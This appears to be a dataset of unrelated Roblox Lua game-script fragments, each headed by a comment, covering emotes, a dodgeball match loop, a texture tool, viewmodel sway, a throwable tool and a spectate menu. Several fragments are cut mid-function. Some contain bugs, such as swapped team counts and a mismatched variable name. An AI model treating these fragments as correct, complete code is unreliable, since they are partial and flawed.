animTable[animName][idx].anim switchToAnim(anim, animName, transitionTime, humanoid) currentlyPlayingEmote = false end function playEmote(emoteAnim, transitionTime, humanoid) switchToAnim(emoteAnim, emoteAnim.Name, transitionTime, humanoid) currentlyPlayingEmote = true end
----------------------------------------
local Grenade = script.Parent local GrenadeScript = WaitFor(Grenade).GrenadeScript() local Creator = WaitFor(GrenadeScript).creator().Value local ExplodeSound = WaitFor(Grenade).ExplodeSound() local Character = Creator.Character
--[[ Issues a warning with an automatically attached stack trace. ]]
function Logging.warn(messageTemplate, ...) local message = messageTemplate:format(...) for collector in pairs(collectors) do table.insert(collector.warnings, message) end -- debug.traceback inserts a leading newline, so we trim it here local trace = debug.traceback("", 2):sub(2) local fullMessage = ("%s\n%s"):format(message, indent(trace, 1)) if outputEnabled then warn(fullMessage) end end
-- Roact
local new = Roact.createElement local SelectionButton = require(script.Parent:WaitForChild('SelectionButton'))
-- not code
local PurplePlayers = script.Parent.PurplePlayers local OrangePlayers = script.Parent.OrangePlayers function newgame() matchStarted = true wait(3) for i, player in pairs(game.Teams["Orange Team"]:GetPlayers()) do player.Character:MoveTo(game.Workspace.OrangeTeleport.CFrame.p) end for i, player in pairs(game.Teams["Purple Team"]:GetPlayers()) do player.Character:MoveTo(game.Workspace.PurpleTeleport.CFrame.p) end -- clear dodgebool game.Workspace.DodgeBalls:ClearAllChildren() --redo for i, ballSpawn in ipairs(game.Workspace.DodgeBallSpawns:GetChildren()) do local newBall = game.Workspace.DogeBall:Clone() newBall.Parent = game.Workspace.DodgeBalls newBall.Handle.CFrame = ballSpawn.CFrame end PurplePlayers.Value = table.getn(game.Teams['Orange Team']:GetPlayers()) OrangePlayers.Value = table.getn(game.Teams['Purple Team']:GetPlayers()) for i, sparkler in ipairs(game.Workspace.Sparklers:GetChildren()) do sparkler.Sparkles.Enabled = false end end while true do if matchStarted then if PurplePlayers.Value <= 0 then for i, sparkler in ipairs(game.Workspace.Sparklers:GetChildren()) do sparkler.Sparkles.Enabled = true sparkler.Sparkles.SparkleColor = Color3.fromRGB(255, 162, 0) end matchStarted = false wait(3) elseif OrangePlayers.Value <= 0 then for i, sparkler in ipairs(game.Workspace.Sparklers:GetChildren()) do sparkler.Sparkles.Enabled = true sparkler.Sparkles.SparkleColor = Color3.fromRGB(138, 0, 126) end --redo --for i, ballSpawn in ipairs(game.Workspace.DodgeBallSpawns:GetChildren()) do -- local newBall = game.Workspace.DogeBall:Clone() -- newBall.Parent = game.Workspace.DodgeBalls -- newBall.Handle.CFrame = ballSpawn.CFrame --end matchStarted = false wait(3) end else local purplePlayers = table.getn(game.Teams["Purple Team"]:GetPlayers()) local orangePlayers = table.getn(game.Teams["Orange Team"]:GetPlayers()) if purplePlayers > 0 and orangePlayers > 0 then newgame() end end wait(0.5) end
-- Container for temporary connections (disconnected automatically)
local Connections = {}; function TextureTool.Equip() -- Enables the tool's equipped functionality -- Start up our interface ShowUI(); EnableSurfaceClickSelection(); -- Set our current texture type and face SetTextureType(TextureTool.Type); SetFace(TextureTool.Face); end; function TextureTool.Unequip() -- Disables the tool's equipped functionality -- Clear unnecessary resources HideUI(); ClearConnections(); end; function ClearConnections() -- Clears out temporary connections for ConnectionKey, Connection in pairs(Connections) do Connection:disconnect(); Connections[ConnectionKey] = nil; end; end; function ShowUI() -- Creates and reveals the UI -- Reveal UI if already created if UI then -- Reveal the UI UI.Visible = true; -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); -- Skip UI creation return; end; -- Create the UI UI = Core.Tool.Interfaces.BTTextureToolGUI:Clone(); UI.Parent = Core.UI; UI.Visible = true; -- References to UI elements local AddButton = UI.AddButton; local RemoveButton = UI.RemoveButton; local DecalModeButton = UI.ModeOption.Decal.Button; local TextureModeButton = UI.ModeOption.Texture.Button; local ImageIdInput = UI.ImageIDOption.TextBox; local TransparencyInput = UI.TransparencyOption.Input.TextBox; local RepeatXInput = UI.RepeatOption.XInput.TextBox; local RepeatYInput = UI.RepeatOption.YInput.TextBox; -- Enable the texture type switch DecalModeButton.MouseButton1Click:connect(function () SetTextureType 'Decal'; end); TextureModeButton.MouseButton1Click:connect(function () SetTextureType 'Texture'; end); -- Create the face selection dropdown local Faces = { 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' }; FaceDropdown = Core.Cheer(UI.SideOption.Dropdown).Start(Faces, '', function (Face) SetFace(Enum.NormalId[Face]); end); -- Enable the image ID input ImageIdInput.FocusLost:connect(function (EnterPressed) SetTextureId(TextureTool.Type, TextureTool.Face, ParseAssetId(ImageIdInput.Text)); end); -- Enable other inputs SyncInputToProperty('Transparency', TransparencyInput); SyncInputToProperty('StudsPerTileU', RepeatXInput); SyncInputToProperty('StudsPerTileV', RepeatYInput); -- Enable the texture adding button AddButton.Button.MouseButton1Click:connect(function () AddTextures(TextureTool.Type, TextureTool.Face); end); RemoveButton.Button.MouseButton1Click:connect(function () RemoveTextures(TextureTool.Type, TextureTool.Face); end); -- Update the UI every 0.1 seconds UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1); end; function SyncInputToProperty(Property, Input) -- Enables `Input` to change the given property -- Enable inputs Input.FocusLost:connect(function () SetProperty(TextureTool.Type, TextureTool.Face, Property, tonumber(Input.Text)); end); end; function EnableSurfaceClickSelection() -- Allows for the setting of the current face by clicking -- Clear out any existing connection if Connections.SurfaceClickSelection then Connections.SurfaceClickSelection:disconnect(); Connections.SurfaceClickSelection = nil; end; -- Add the new click connection Connections.SurfaceClickSelection = UserInputService.InputEnded:connect(function (Input, GameProcessedEvent) if not GameProcessedEvent and Input.UserInputType == Enum.UserInputType.MouseButton1 and Selection.IsSelected(Core.Mouse.Target) then SetFace(Core.Mouse.TargetSurface); end; end); end; function HideUI() -- Hides the tool UI -- Make sure there's a UI if not UI then return; end; -- Hide the UI UI.Visible = false; -- Stop updating the UI UIUpdater:Stop(); end; function GetTextures(TextureType, Face) -- Returns all the textures in the selection local Textures = {}; -- Get any textures from any selected parts for _, Part in pairs(Selection.Items) do for _, Child in pairs(Part:GetChildren()) do -- If this child is texture we're looking for, collect it if Child.ClassName == TextureType and Child.Face == Face then table.insert(Textures, Child); end; end; end; -- Return the found textures return Textures; end;
-- perform the update loop
if rigtype == "R15" then -- do the r15 update loop stepped_con = game:GetService("RunService").RenderStepped:connect(function() -- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly checkfirstperson() -- update loop if isfirstperson == true then -- make arms visible visiblearms(true) -- update walk sway if we are walking if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then walksway = walksway:lerp( CFrame.new( (0.1*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)), (0.1*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)), 0 )* CFrame.Angles( 0, 0, (-.05*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)) ) ,0.1*sensitivity) else walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity) end -- local delta = uis:GetMouseDelta() if includecamerasway then sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity) end -- if includestrafe then strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(10/swaysize)), 0.1*sensitivity) end -- if includejumpsway then jumpsway = jumpswaygoal.Value end -- update animation transform for viewmodel rightshoulderclone.Transform = rightshoulder.Transform leftshoulderclone.Transform = leftshoulder.Transform if firstperson_waist_movements_enabled then waistclone.Transform = waist.Transform end -- cframe the viewmodel local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75))) viewmodel:SetPrimaryPartCFrame(finalcf) end end) elseif rigtype == "R6" then -- do the R6 update loop stepped_con = game:GetService("RunService").RenderStepped:connect(function() -- checkfirstperson() checks if camera is first person and enables/disables the viewmodel accordingly checkfirstperson() -- update loop if isfirstperson == true then -- make arms visible visiblearms(true) -- update walk sway if we are walking if isrunning == true and includewalksway and humanoid:GetState() ~= Enum.HumanoidStateType.Freefall and humanoid:GetState() ~= Enum.HumanoidStateType.Landed then walksway = walksway:lerp( CFrame.new( (0.07*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)), (0.07*swaysize) * math.cos(tick() * (4 * humanoid.WalkSpeed/4)), 0 )* CFrame.Angles( 0, 0, (-.03*swaysize) * math.sin(tick() * (2 * humanoid.WalkSpeed/4)) ) ,0.2*sensitivity) else walksway = walksway:Lerp(CFrame.new(), 0.05*sensitivity) end -- local delta = uis:GetMouseDelta() -- if includecamerasway then sway = sway:Lerp(Vector3.new(delta.X,delta.Y,delta.X/2), 0.1*sensitivity) end -- if includestrafe then strafesway = strafesway:Lerp(CFrame.Angles(0,0,-rootpart.CFrame.rightVector:Dot(humanoid.MoveDirection)/(20/swaysize)), 0.1*sensitivity) end -- if includejumpsway == true then jumpsway = jumpswaygoal.Value end -- update animation transform for viewmodel rightshoulderclone.Transform = rightshoulder.Transform leftshoulderclone.Transform = leftshoulder.Transform -- cframe the viewmodel local finalcf = (camera.CFrame*walksway*jumpsway*strafesway*CFrame.Angles(math.rad(sway.Y*swaysize),math.rad(sway.X*swaysize)/10,math.rad(sway.Z*swaysize)/2))+(camera.CFrame.UpVector*(-1.7-(headoffset.Y+(aimoffset.Value.Y))))+(camera.CFrame.LookVector*(headoffset.Z+(aimoffset.Value.Z)))+(camera.CFrame.RightVector*(-headoffset.X-(aimoffset.Value.X)+(-(sway.X*swaysize)/75))) viewmodel:SetPrimaryPartCFrame(finalcf) end end) end
--- Gives `Character` the 'Amount' of silver in the bag, returns true if it was successful. ---@param Amount number ---@param Character Model ---@return boolean
local function GiveSilver(Amount: number, Character: Model): boolean --// One thing I noticed about this function is that the names of variables were.. Odd. --// The target is to make anyone be able to see the function and the algorithm just clicks. --// So you know, define the prefab, make sure your names are pretty self-explantory but not 'ToolToGive', etc etc. local Player = game.Players:GetPlayerFromCharacter(Character) if (not Player) then return false end Player.Data.Silver.Value += Amount return true; end
------------------------------------------------------------------------ -- parse a numerical for loop, calls forbody() -- * used in forstat() ------------------------------------------------------------------------
function luaY:fornum(ls, varname, line) -- fornum -> NAME = exp1,exp1[,exp1] forbody local fs = ls.fs local base = fs.freereg self:new_localvarliteral(ls, "(for index)", 0) self:new_localvarliteral(ls, "(for limit)", 1) self:new_localvarliteral(ls, "(for step)", 2) self:new_localvar(ls, varname, 3) self:checknext(ls, '=') self:exp1(ls) -- initial value self:checknext(ls, ",") self:exp1(ls) -- limit if self:testnext(ls, ",") then self:exp1(ls) -- optional step else -- default step = 1 luaK:codeABx(fs, "OP_LOADK", fs.freereg, luaK:numberK(fs, 1)) luaK:reserveregs(fs, 1) end self:forbody(ls, base, line, 1, true) end
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("PBG",Paint) end)
-- Variables for services
local render = game:GetService("RunService").RenderStepped local contextActionService = game:GetService("ContextActionService") local userInputService = game:GetService("UserInputService") local player = game.Players.LocalPlayer local mouse = player:GetMouse() local Tool = script.Parent
-- init varible
local player = game.Players.LocalPlayer local UserInputService = game:GetService("UserInputService") local ContextActionService = game:GetService("ContextActionService") local bindFuc = script.Parent:WaitForChild("BindableFunction") local doJump = false local startGame = false local left = 0 local right = 0 local moveDir = 0 local moveSpeed = 40 local animSpeed = 0.05 game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false) game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, false) game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false) local humanoid local animator local character player:WaitForChild("PlayerGui") player.CharacterAdded:Wait()
--returns the wielding player of this tool
function getPlayer() local char = Tool.Parent return game:GetService("Players"):GetPlayerFromCharacter(Character) end function Toss(direction) local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z) local spawnPos = Character.Head.Position spawnPos = spawnPos + (direction * 5) Tool.Handle.Transparency = 1 local Object = Tool.Handle:Clone() Object.Parent = workspace Object.Transparency = 1 Object.Swing.Pitch = math.random(90, 110)/100 Object.Swing:Play() Object.CanCollide = true Object.CFrame = Tool.Handle.CFrame Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0) Object.Trail.Enabled = true --Object.Fuse:Play() --Object.Sparks.Enabled = true local rand = 11.25 Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand)) Object:SetNetworkOwner(getPlayer()) local ScriptClone = DamageScript:Clone() ScriptClone.Parent = Object ScriptClone.Disabled = false local tag = Instance.new("ObjectValue") tag.Value = getPlayer() tag.Name = "creator" tag.Parent = Object Tool:Destroy() end script.Parent.Power.OnServerEvent:Connect(function(player, Power) AttackVelocity = Power end) Remote.OnServerEvent:Connect(function(player, mousePosition) if not AttackAble then return end AttackAble = false if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then Remote:FireClient(getPlayer(), "PlayAnimation", "Animation") end local targetPos = mousePosition.p local lookAt = (targetPos - Character.Head.Position).unit Toss(lookAt) LeftDown = true end) function onLeftUp() LeftDown = false end Tool.Equipped:Connect(function() Character = Tool.Parent Humanoid = Character:FindFirstChildOfClass("Humanoid") end) Tool.Unequipped:Connect(function() Character = nil Humanoid = nil end)
-- Local Functions
function OnCaptureFlag(player) PlayerManager:AddPlayerScore(player, 1) TeamManager:AddTeamScore(player.TeamColor, 1) DisplayManager:DisplayNotification(player.TeamColor, 'Captured Flag!') end local function OnReturnFlag(flagColor) DisplayManager:DisplayNotification(flagColor, 'Flag Returned!') end
-- tween the sound to the speed
if speed > 0.01 and not walk.IsPlaying then print("play walk") walk:Play() elseif speed <0.01 and walk.IsPlaying then print("stop walk") walk:Stop() end end
--[[ Saved profile structure: DataStoreProfile = { Data = {}, MetaData = { ProfileCreateTime = 0, SessionLoadCount = 0, ActiveSession = {place_id, game_job_id} / nil, ForceLoadSession = {place_id, game_job_id} / nil, MetaTags = {}, LastUpdate = 0, -- os.time() }, GlobalUpdates = { update_index, { {update_id, version_id, update_locked, update_data}, ... } }, } OR DataStoreProfile = { GlobalUpdates = { update_index, { {update_id, version_id, update_locked, update_data}, ... } }, } --]]
-- Make sure tools' icons update
for i,v in pairs(SlotsFolder:GetChildren()) do setIcon(v) v.Changed:connect(function() setIcon(v) end) end
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -3 Tune.RCamber = -2 Tune.FToe = 0 Tune.RToe = 0
-- Function to check if the given object should drop
local function checkIfShouldDrop(object, delta) -- Setup is in number of drops per minute; need to convert minutes to ticks local dropsPerSecond = object.NUMBER_PER_MINUTE / 60 local ticksPerSecond = 1 / delta local dropsPerTick = dropsPerSecond / ticksPerSecond -- Calculate random chance local randomNumber = randomGenerator:NextNumber() return randomNumber < dropsPerTick end
--Made by Luckymaxer
Model = script.Parent Debris = game:GetService("Debris") Removing = false function RemoveModel() if Removing then return end local Parts = {} for i, v in pairs(Model:GetChildren()) do if v:IsA("Model") then table.insert(Parts, v) end end if #Parts == 0 then Removing = true Model.Name = "" Debris:AddItem(Model, 1) end end Model.ChildRemoved:connect(function(Child) RemoveModel() end) RemoveModel()
--Thanks for using this script --This script is made by Joriangames/Problox Studio Scripts --Want to know how to use this? Watch my tutorial: https://youtu.be/T65gtxrukQg
local button = script.Parent.OpenSpectate local frame = script.Parent.Frame local title = frame.PlrName local left = frame.Left local right = frame.Right local cam = workspace.CurrentCamera local num = 1 local plr = game.Players.LocalPlayer button.MouseButton1Click:Connect(function() if frame.Visible == true then frame.Visible = false title.Text = plr.Name cam.CameraSubject = plr.Character.Humanoid num = 1 else frame.Visible = true title.Text = plr.Name cam.CameraSubject = plr.Character.Humanoid num = 1 end end) right.MouseButton1Click:Connect(function() local players = game.Players:GetPlayers() local all = #players num = num +1 if num > all then num = 1 end cam.CameraSubject = players[num].Character.Humanoid title.Text = players[num].Name end) left.MouseButton1Click:Connect(function() local players = game.Players:GetPlayers() local all = #players num = num -1 if num < 1 then num = all end cam.CameraSubject = players[num].Character.Humanoid title.Text = players[num].Name end)